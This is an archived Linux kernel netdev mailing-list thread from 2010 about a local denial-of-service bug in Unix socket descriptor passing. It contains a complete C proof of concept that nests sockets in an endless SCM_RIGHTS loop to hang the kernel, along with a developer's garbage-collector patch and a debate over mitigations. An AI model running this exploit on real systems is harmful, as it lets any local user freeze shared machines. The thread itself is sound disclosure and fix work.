Message ID | 1290666501.2798.84.camel@edumazet-laptop |
---|---|
State | Not Applicable, archived |
Delegated to: | David Miller |
Headers | show |
Well, It seems, that patch likely will fix 100% CPU usage. But what about eating all available descriptors in kernel ? vulnerability ? 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: > Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit : >> #include <sys/socket.h> >> #include <sys/un.h> >> >> static int send_fd (int unix_fd, int fd) >> { >> struct msghdr msgh; >> struct cmsghdr *cmsg; >> char buf[CMSG_SPACE (sizeof (fd))]; >> >> memset (&msgh, 0, sizeof (msgh)); >> memset (buf, 0, sizeof (buf)); >> >> msgh.msg_control = buf; >> msgh.msg_controllen = sizeof (buf); >> >> cmsg = CMSG_FIRSTHDR (&msgh); >> cmsg->cmsg_len = CMSG_LEN (sizeof (fd)); >> cmsg->cmsg_level = SOL_SOCKET; >> cmsg->cmsg_type = SCM_RIGHTS; >> >> msgh.msg_controllen = cmsg->cmsg_len; >> >> memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd)); >> return sendmsg (unix_fd, &msgh, 0); >> } >> >> >> int main () >> { >> int fd[2], ff[2]; >> int target; >> >> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1) >> return 1; >> >> for (;;) >> { >> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1) >> return 2; >> send_fd (ff[0], fd[0]); >> send_fd (ff[0], fd[1]); >> close (fd[1]); >> close (fd[0]); >> fd[0] = ff[0]; >> fd[1] = ff[1]; >> } >> } > > > Since you obviously read recent mails on this subject yesterday, why > dont you Cc netdev ? > > There is a very easy way to protect against this actually. > > A patch was posted yesterday, and need some adjustements. > > > diff --git a/net/unix/garbage.c b/net/unix/garbage.c > index c8df6fd..40df93d 100644 > --- a/net/unix/garbage.c > +++ b/net/unix/garbage.c > @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u) > } > > static bool gc_in_progress = false; > +#define UNIX_INFLIGHT_TRIGGER_GC 2000 > > void wait_for_unix_gc(void) > { > + /* > + * If number of inflight sockets is insane, > + * force a garbage collect right now. > + */ > + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress) > + unix_gc(); > wait_event(unix_gc_wait, gc_in_progress == false); > } > > > >
Le jeudi 25 novembre 2010 à 07:28 +0100, Eric Dumazet a écrit : > > Since you obviously read recent mails on this subject yesterday, why > dont you Cc netdev ? > > There is a very easy way to protect against this actually. > > A patch was posted yesterday, and need some adjustements. > > > diff --git a/net/unix/garbage.c b/net/unix/garbage.c > index c8df6fd..40df93d 100644 > --- a/net/unix/garbage.c > +++ b/net/unix/garbage.c > @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u) > } > > static bool gc_in_progress = false; > +#define UNIX_INFLIGHT_TRIGGER_GC 2000 > > void wait_for_unix_gc(void) > { > + /* > + * If number of inflight sockets is insane, > + * force a garbage collect right now. > + */ > + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress) > + unix_gc(); > wait_event(unix_gc_wait, gc_in_progress == false); > } > > Hmm... it seems its another problem, chains are very long so we hit a NMI watchdog. I guess we should limit to a very small number, like 64, or rewrite the garbage collector to a better algo. -- To unsubscribe from this list: send the line "unsubscribe netdev" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
---------- Forwarded message ---------- From: Марк Коренберг <socketpair@gmail.com> Date: 2010/11/25 Subject: Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( To: Eric Dumazet <eric.dumazet@gmail.com> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit : >> Well, It seems, that patch likely will fix 100% CPU usage. >> >> But what about eating all available descriptors in kernel ? vulnerability ? >> > > It doesnt fix cpu usage actually, your program eats 100% of one cpu, > like the following one : > > for (;;) ; > > If you want not eat 100% cpu, I suggest you add some blocking calls, > like usleep(10000) > > for (;;) usleep(10000); > > Patch only makes sure kernel wont eat too much memory to store inflight > unix sockets. I have attached source which proove, that loop not inside this program, but inside kernel. -- Segmentation fault
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: > Le jeudi 25 novembre 2010 à 12:35 +0500, Марк Коренберг a écrit : >> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: >> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit : >> >> Well, It seems, that patch likely will fix 100% CPU usage. >> >> >> >> But what about eating all available descriptors in kernel ? vulnerability ? >> >> >> > >> > It doesnt fix cpu usage actually, your program eats 100% of one cpu, >> > like the following one : >> > >> > for (;;) ; >> >> No. You don't understand. I can't kill -KILL such program. CPU usage >> will be 100%. program hang in kernel, process is not in >> Uninterruptible sleep (in Running state). So I think some kernel loop >> like for(;;); exists. maybe looped recursion or so on. >> > > I understand very well, thanks. > > There is no recursion (stack usage) in kernel, this is why CPU eats so > much cycles to handle your workload. > > kill ... is not interrupting this loop in kernel, only when current > system call is finished. > > We'll have to add limits to forbid malicious programs to use too much > cpu in kernel. new ulimit constant ? how to detect, that user is malicious ? I think, it will be nice to count "reursion level" of file descriptors instances. recursion level increases if fd is put inside unix socket. If recursion level is bigger than some border (10 for example), do not to allow to put such file descriptor into unixsocket. I understand .. this is heavy. Fortunatelly I have idea :) : Do not allow to pass unix socket A into unixsocket B if A contains file descriptors. I think it would not break current applications. This will fix problem which illustrate my example. But, malicious user can insert descriptors into A _AFTER_ passing A into B, by using another A instance called C. Kernel should not allow do that -- if kernel see, that unix socket A=C already inside some other unix socket, it should return error.
Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit : > ---------- Forwarded message ---------- > From: Марк Коренберг <socketpair@gmail.com> > Date: 2010/11/25 > Subject: Re: Simple kernel attack using socketpair. easy, 100% > reproductiblle, works under guest. no way to protect :( > To: Eric Dumazet <eric.dumazet@gmail.com> > > > 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: > > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit : > >> Well, It seems, that patch likely will fix 100% CPU usage. > >> > >> But what about eating all available descriptors in kernel ? vulnerability ? > >> > > > > It doesnt fix cpu usage actually, your program eats 100% of one cpu, > > like the following one : > > > > for (;;) ; > > > > If you want not eat 100% cpu, I suggest you add some blocking calls, > > like usleep(10000) > > > > for (;;) usleep(10000); > > > > Patch only makes sure kernel wont eat too much memory to store inflight > > unix sockets. > > I have attached source which proove, that loop not inside this > program, but inside kernel. > > -- Better send a fix, now that thousand of people know how to kill a linux machine. Congrats. -- To unsubscribe from this list: send the line "unsubscribe netdev" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
quick and dirty fix will be not to allow to pass unix socket inside unix socket. I think it would not break much applications. 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: > Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit : >> ---------- Forwarded message ---------- >> From: Марк Коренберг <socketpair@gmail.com> >> Date: 2010/11/25 >> Subject: Re: Simple kernel attack using socketpair. easy, 100% >> reproductiblle, works under guest. no way to protect :( >> To: Eric Dumazet <eric.dumazet@gmail.com> >> >> >> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>: >> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit : >> >> Well, It seems, that patch likely will fix 100% CPU usage. >> >> >> >> But what about eating all available descriptors in kernel ? vulnerability ? >> >> >> > >> > It doesnt fix cpu usage actually, your program eats 100% of one cpu, >> > like the following one : >> > >> > for (;;) ; >> > >> > If you want not eat 100% cpu, I suggest you add some blocking calls, >> > like usleep(10000) >> > >> > for (;;) usleep(10000); >> > >> > Patch only makes sure kernel wont eat too much memory to store inflight >> > unix sockets. >> >> I have attached source which proove, that loop not inside this >> program, but inside kernel. >> >> -- > > Better send a fix, now that thousand of people know how to kill a linux > machine. > > Congrats. > > > >
diff --git a/net/unix/garbage.c b/net/unix/garbage.c index c8df6fd..40df93d 100644 --- a/net/unix/garbage.c +++ b/net/unix/garbage.c @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u) } static bool gc_in_progress = false; +#define UNIX_INFLIGHT_TRIGGER_GC 2000 void wait_for_unix_gc(void) { + /* + * If number of inflight sockets is insane, + * force a garbage collect right now. + */ + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress) + unix_gc(); wait_event(unix_gc_wait, gc_in_progress == false); }